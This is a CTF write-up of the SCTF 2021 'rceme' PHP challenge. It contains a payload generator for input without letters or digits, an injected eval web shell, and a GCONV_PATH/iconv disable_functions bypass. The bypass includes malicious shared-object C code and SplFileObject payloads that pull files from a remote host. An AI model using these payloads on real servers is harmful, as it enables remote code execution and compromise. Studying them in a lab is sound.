天天看点

[SCTF 2021]rceme 复现前言知识点复现过程

前言

做题做到这道题,又学到了新的无参rce利用的技巧以及绕过disable_fucntion的技巧

知识点

无参rce

无字母数字rce

iconv绕过disable_function

可变参数

数组表示字符串

复现过程

源码

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>
           

很明显看出是无字母数字无参rce,并且通过数组来表示字符串

构造脚本

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)
           

disable_function过滤了十分多的函数,可用函数如下

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders
           

能进行代码执行的函数有create_function,preg_match,preg_replace,call_user_func

我们这里选用create_function

因为无参的限制,我们只能通过getallheaders传入一个字符串

这时候我们可用通过unserialize和可变参数来传入多个参数

可变参数举例

<?php

function sum(...$a){
    $c = 0;
    foreach ($a as $n){
        $c = $c + $n;
    }
    return $c;
}

echo sum(1,12,13); // 26
           

通过前面的构造脚本来构造payload

create_function(...unserialize(getallheaders()))
  
[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));
           

http heades 传入一个序列化的参数数组

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;

=> a:2:{i:0;s:0:"";i:1;s:21:"}eval($_POST["a"]);//";}
           

成功代码执行

[SCTF 2021]rceme 复现前言知识点复现过程

 通过php原生类DirectoryIterator来读取目录,发现根目录下有flag以及readflag,flag我们没有读取的权限,所以通过执行readflag来获取flag

a=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
           

现在我们考虑如何绕过disable_function进行命令执行

我们这里使用iconv来绕过disable_function

因为iconv被禁,所以我们会通过php伪协议中的过滤器来触发

使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("/readflag > /tmp/ki1ro");
  exit(0);
}
           

生成so文件

gcc -shared -fPIC payload.c -o payload.so
           

gconv-modules

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2
           

写文件使用php原生类SplFileObject

PHP: SplFileObject - Manual

通过远程文件包含来写入文件

写入payload.so

a=$url="http://xxx.xxx.xxx.xxx/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
           

写入gconv-modules

a=$url="http://xxx.xxx.xxx.xxx/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
           

触发iconv_open,将readflag的执行结果输入到ki1ro文件中

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
           

读取文件获取flag

a=show_source("/tmp/ki1ro")